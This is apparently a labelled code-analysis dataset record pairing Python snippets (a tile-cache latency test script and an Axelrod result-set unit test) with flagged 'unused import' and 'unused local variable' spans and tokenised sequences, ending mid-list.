[ { "content": "# This is the test script for neuronal circuits\n# It measures the latency on the cached version vs the non cached version\n\nimport urllib2\nimport argparse\nimport time\nimport sys\nimport pdb\n\n\n\nif __name__ == \"__main__\":\n main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def cache_test( token, hostname, slicenumber, resolution ):\n \"\"\" Carry's out the test on a given number of tiles \"\"\"\n totalsize = 0.0\n\n for X in range(0,20):\n for Y in range(0,20):\n \n try:\n url = 'http://{}/ocpcatmaid/tilecache/{}/{}/{}_{}_{}.png'.format(hostname, token, slicenumber, X, Y, resolution )\n req = urllib2.Request( url )\n response = urllib2.urlopen(req)\n totalsize += sys.getsizeof(response)\n except urllib2.URLError, e:\n print \"Failed URL {}\".format(url)\n print \"Error {}\".format(e)\n\n print \"Size in kilobytes {}\".format(totalsize/1024)", "metadata": "root.cache_test", "header": "['module', '___EOS___']", "index": 9 }, { "content": "def main():\n\n parser = argparse.ArgumentParser(description=\"Run the Test Script\")\n parser.add_argument('token', action=\"store\", help=\"Project Token\")\n parser.add_argument('hostname', action=\"store\", help=\"HostName\")\n parser.add_argument('slicenumber', action=\"store\", type=int, help=\"Slice Number\")\n parser.add_argument('resolution', action=\"store\", type=int, help=\"Resolution\")\n\n global result\n\n result = parser.parse_args()\n start = time.time()\n cache_test( result.token, result.hostname, result.slicenumber, result.resolution)\n end = time.time()\n print end - start", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 27 } ]
[ { "span": "import pdb", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 10 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "the", " ", "test", " ", "script", " ", "for", " ", "neuro", "nal", " ", "circuit", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "It", " ", "measure", "s", " ", "the", " ", "latenc", "y", " ", "on", " ", "the", " ", "cache", "d", " ", "version", " ", "vs", " ", "the", " ", "non", " ", "cache", "d", " ", "version_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "urllib2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "argparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pdb_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "cache", "\\u", "test_", "(_", "token_", ",_", "hostname_", ",_", "slice", "number_", ",_", "resolution_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Carr", "y", "'", "s", " ", "out", " ", "the", " ", "test", " ", "on", " ", "a", " ", "give", "n", " ", "number", " ", "of", " ", "tiles", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "totals", "ize_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "X_", "in_", "range_", "(_", "0_", ",_", "20_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "Y_", "in_", "range_", "(_", "0_", ",_", "20_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'", "http", "://{}", "/", "oc", "pca", "tma", "id", "/", "tile", "cache", "/{}/", "{}/{}", "\\u{}\\u", "{}.", "png", "'_", "._", "format_", "(_", "hostname_", ",_", "token_", ",_", "slice", "number_", ",_", "X_", ",_", "Y_", ",_", "resolution_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "urllib2_", "._", "Request_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "totals", "ize_", "+=_", "sys_", "._", "gets", "ize", "of_", "(_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Fail", "ed", " ", "URL", " ", "{}\"_", "._", "format_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Error", " ", "{}\"_", "._", "format_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "Size", " ", "in", " ", "kilo", "bytes", " ", "{}\"_", "._", "format_", "(_", "totals", "ize_", "/_", "1024_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parser_", "=_", "argparse_", "._", "Arg", "ument", "Parser_", "(_", "description_", "=_", "\"", "Run", " ", "the", " ", "Test", " ", "Script", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "token", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "help_", "=_", "\"", "Project", " ", "Token", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "host", "name", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "help_", "=_", "\"", "Host", "Name", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "slice", "number", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "type_", "=_", "int_", ",_", "help_", "=_", "\"", "Slice", " ", "Number", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "resolu", "tion", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "type_", "=_", "int_", ",_", "help_", "=_", "\"", "Reso", "luti", "on", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "global_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "parser_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache", "\\u", "test_", "(_", "result_", "._", "token_", ",_", "result_", "._", "hostname_", ",_", "result_", "._", "slice", "number_", ",_", "result_", "._", "resolution_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "end_", "-_", "start_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
Axelrod-Python/Axelrod/axelrod/tests/unit/test_resultset.py
[ { "content": " @classmethod\n def setUpClass(cls):\n\n cls.players = (axelrod.Alternator(), axelrod.TitForTat(), axelrod.Defector())\n cls.turns = 5\n cls.matches = [\n {\n (0,1): axelrod.Match((cls.players[0], cls.players[1]),\n turns=cls.turns),\n (0,2): axelrod.Match((cls.players[0], cls.players[2]),\n turns=cls.turns),\n (1,2): axelrod.Match((cls.players[1], cls.players[2]),\n turns=cls.turns)} for _ in range(3)\n ] # This would not actually be a round robin tournament\n # (no cloned matches)\n\n for rep in cls.matches:\n for match in rep.values():\n match.play()\n\n cls.interactions = []\n for rep in cls.matches:\n cls.interactions.append({index_pair: match.result for\n index_pair, match in rep.items()})\n\n cls.expected_players_to_match_dicts = [{0: [rep[(0, 1)], rep[(0, 2)]],\n 1: [rep[(0, 1)], rep[(1, 2)]],\n 2: [rep[(1, 2)], rep[(0, 2)]]}\n for rep in cls.matches\n ]\n\n\n cls.expected_match_lengths =[\n [[0, 5, 5], [5, 0, 5], [5, 5, 0]]\n for _ in range(3)\n ]\n\n cls.expected_scores =[\n [15, 15, 15],\n [17, 17, 17],\n [26, 26, 26]\n ]\n\n cls.expected_wins =[\n [0, 0, 0],\n [0, 0, 0],\n [2, 2, 2]\n ]\n\n cls.expected_normalised_scores =[\n [3.0 / 2 for _ in range(3)],\n [(13.0 / 5 + 4.0 / 5) / 2 for _ in range(3)],\n [(17.0 / 5 + 9.0 / 5) / 2 for _ in range(3)],\n ]\n\n cls.expected_ranking = [2, 1, 0]\n\n cls.expected_ranked_names = ['Defector', 'Tit For Tat', 'Alternator']\n\n cls.expected_null_results_matrix = [\n [[0, 0, 0], [0, 0, 0], [0, 0, 0]],\n [[0, 0, 0], [0, 0, 0], [0, 0, 0]],\n [[0, 0, 0], [0, 0, 0], [0, 0, 0]],\n ]\n\n cls.expected_payoffs = [\n [[], [13/5.0 for _ in range(3)], [2/5.0 for _ in range(3)]],\n [[13/5.0 for _ in range(3)], [], [4/5.0 for _ in range(3)]],\n [[17/5.0 for _ in range(3)], [9/5.0 for _ in range(3)], []]\n ]\n\n norm_scores = cls.expected_normalised_scores\n cls.expected_score_diffs = [\n [[0.0, 0.0, 0.0],\n [0.0, 0.0, 0.0],\n [-3.0, -3.0, -3.0]],\n [[0.0, 0.0, 0.0],\n [0.0, 0.0, 0.0],\n [-1.0, -1.0, -1.0]],\n [[3.0, 3.0, 3.0],\n [1.0, 1.0, 1.0],\n [0.0, 0.0, 0.0]],\n ]\n\n cls.expected_payoff_diffs_means = [\n [0.0, 0.0, -3.0],\n [0.0, 0.0, -1.0],\n [3.0, 1.0, 0.0]\n ]\n\n # Recalculating to deal with numeric imprecision\n cls.expected_payoff_matrix = [\n [0, mean([13/5.0 for _ in range(3)]), mean([2/5.0 for _ in range(3)])],\n [mean([13/5.0 for _ in range(3)]), 0, mean([4/5.0 for _ in range(3)])],\n [mean([17/5.0 for _ in range(3)]), mean([9/5.0 for _ in range(3)]), 0]\n ]\n\n cls.expected_payoff_stddevs = [\n [0, std([13/5.0 for _ in range(3)]), std([2/5.0 for _ in range(3)])],\n [std([13/5.0 for _ in range(3)]), 0, std([4/5.0 for _ in range(3)])],\n [std([17/5.0 for _ in range(3)]), std([9/5.0 for _ in range(3)]), 0]\n ]\n\n cls.expected_cooperation = [\n [0, 9, 9],\n [9, 0, 3],\n [0, 0, 0],\n ]\n\n cls.expected_normalised_cooperation = [\n [0, mean([3 / 5.0 for _ in range(3)]), mean([3 / 5.0 for _ in range(3)])],\n [mean([3 / 5.0 for _ in range(3)]), 0, mean([1 / 5.0 for _ in range(3)])],\n [0, 0, 0],\n ]\n\n cls.expected_vengeful_cooperation = [[2 * element - 1 for element in row]\n for row in cls.expected_normalised_cooperation]\n\n cls.expected_cooperating_rating = [\n 18.0 / 30,\n 12.0 / 30,\n 0\n ]\n\n cls.expected_good_partner_matrix = [\n [0, 3, 3],\n [3, 0, 3],\n [0, 0, 0]\n ]\n\n cls.expected_good_partner_rating = [\n 1.0,\n 1.0,\n 0\n ]\n\n\n cls.expected_eigenjesus_rating = [\n 0.5547001962252291,\n 0.8320502943378436,\n 0.0\n ]\n\n cls.expected_eigenmoses_rating = [\n -0.4578520302117101,\n 0.7311328098872432,\n 0.5057828909101213\n ]\n\n cls.expected_csv = (\n 'Defector,Tit For Tat,Alternator\\n2.6,1.7,1.5\\n2.6,1.7,1.5\\n2.6,1.7,1.5\\n')", "metadata": "root.TestResultSet.setUpClass", "header": "['class', 'TestResultSet', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 12 } ]
[ { "span": "norm_scores ", "start_line": 83, "start_column": 8, "end_line": 83, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "Result", "Set_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "set", "Up", "Class_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cls_", "._", "players_", "=_", "(_", "axe", "lro", "d_", "._", "Alter", "nat", "or_", "(_", ")_", ",_", "axe", "lro", "d_", "._", "Tit", "For", "Ta", "t_", "(_", ")_", ",_", "axe", "lro", "d_", "._", "Defe", "ctor_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "._", "turns", "_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "._", "matches_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "0_", ",_", "1_", ")_", ":_", "axe", "lro", "d_", "._", "Match_", "(_", "(_", "cls_", "._", "players_", "[_", "0_", "]_", ",_", "cls_", "._", "players_", "[_", "1_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "turns", "_", "=_", "cls_", "._", "turns", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "0_", ",_", "2_", ")_", ":_", "axe", "lro", "d_", "._", "Match_", "(_", "(_", "cls_", "._", "players_", "[_", "0_", "]_", ",_", "cls_", "._", "players_", "[_", "2_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "turns", "_", "=_", "cls_", "._", "turns", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "1_", ",_", "2_", ")_", ":_", "axe", "lro", "d_", "._", "Match_", "(_", "(_", "cls_", "._", "players_", "[_", "1_", "]_", ",_", "cls_", "._", "players_", "[_", "2_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "turns", "_", "=_", "cls_", "._", "turns", "_", ")_", "}_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "#", " ", "Thi", "s", " ", "wou", "ld", " ", "not", " ", "actual", "ly", " ", "be", " ", "a", " ", "round", " ", "robi", "n", " ", "tournament", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "(", "no", " ", "cloned", " ", "matche", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "rep_", "in_", "cls_", "._", "matches_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "match_", "in_", "rep_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match_", "._", "play_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cls_", "._", "interactions_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "rep_", "in_", "cls_", "._", "matches_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cls_", "._", "interactions_", "._", "append_", "(_", "{_", "index", "\\u", "pair_", ":_", "match_", "._", "result_", "for_", "\\u\\u\\uNL\\u\\u\\u_", "index", "\\u", "pair_", ",_", "match_", "in_", "rep_", "._", "items_", "(_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cls_", "._", "expected", "\\u", "player", "s", "\\u", "to", "\\u", "match", "\\u", "dicts_", "=_", "[_", "{_", "0_", ":_", "[_", "rep_", "[_", "(_", "0_", ",_", "1_", ")_", "]_", ",_", "rep_", "[_", "(_", "0_", ",_", "2_", ")_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ":_", "[_", "rep_", "[_", "(_", "0_", ",_", "1_", ")_", "]_", ",_", "rep_", "[_", "(_", "1_", ",_", "2_", ")_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", ":_", "[_", "rep_", "[_", "(_", "1_", ",_", "2_", ")_", "]_", ",_", "rep_", "[_", "(_", "0_", ",_", "2_", ")_", "]_", "]_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "rep_", "in_", "cls_", "._", "matches_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "match", "\\u", "lengths_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0_", ",_", "5_", ",_", "5_", "]_", ",_", "[_", "5_", ",_", "0_", ",_", "5_", "]_", ",_", "[_", "5_", ",_", "5_", ",_", "0_", "]_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "scores_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "15_", ",_", "15_", ",_", "15_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "17_", ",_", "17_", ",_", "17_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "26_", ",_", "26_", ",_", "26_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "wins_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "2_", ",_", "2_", ",_", "2_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "normalise", "d\\u", "scores_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "3.0_", "/_", "2_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "(_", "13.", "0_", "/_", "5_", "+_", "4.0_", "/_", "5_", ")_", "/_", "2_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "(_", "17.", "0_", "/_", "5_", "+_", "9.0_", "/_", "5_", ")_", "/_", "2_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "ranking_", "=_", "[_", "2_", ",_", "1_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "ranked", "\\u", "names_", "=_", "[_", "'", "Defe", "ctor", "'_", ",_", "'", "Tit", " ", "For", " ", "Ta", "t", "'_", ",_", "'", "Alter", "nat", "or", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "null", "\\u", "results", "\\u", "matrix_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "payoff", "s_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "]_", ",_", "[_", "13_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ",_", "[_", "2_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "13_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ",_", "[_", "]_", ",_", "[_", "4_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "17_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ",_", "[_", "9_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ",_", "[_", "]_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "norm", "\\u", "scores_", "=_", "cls_", "._", "expected", "\\u", "normalise", "d\\u", "scores_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "._", "expected", "\\u", "score", "\\u", "diffs_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "-_", "3.0_", ",_", "-_", "3.0_", ",_", "-_", "3.0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "-_", "1.0_", ",_", "-_", "1.0_", ",_", "-_", "1.0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "3.0_", ",_", "3.0_", ",_", "3.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "1.0_", ",_", "1.0_", ",_", "1.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "payoff", "\\u", "diffs", "\\u", "means_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.0_", ",_", "0.0_", ",_", "-_", "3.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.0_", ",_", "0.0_", ",_", "-_", "1.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "3.0_", ",_", "1.0_", ",_", "0.0_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Recal", "cula", "ting", " ", "to", " ", "deal", " ", "with", " ", "numeri", "c", " ", "impr", "eci", "sion_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "payoff", "\\u", "matrix_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "mean_", "(_", "[_", "13_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", ",_", "mean_", "(_", "[_", "2_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "mean_", "(_", "[_", "13_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", ",_", "0_", ",_", "mean_", "(_", "[_", "4_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "mean_", "(_", "[_", "17_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", ",_", "mean_", "(_", "[_", "9_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", ",_", "0_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "payoff", "\\u", "stddev", "s_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "std_", "(_", "[_", "13_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", ",_", "std_", "(_", "[_", "2_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "std_", "(_", "[_", "13_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", ",_", "0_", ",_", "std_", "(_", "[_", "4_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "std_", "(_", "[_", "17_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", ",_", "std_", "(_", "[_", "9_", "/_", "5.0_", "for_", "\\u_", "in_", "range_", "(_", "3_", ")_", "]_", ")_", ",_", "0_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "expected", "\\u", "coop", "eratio", "n_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "9_", ",_", "9_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", 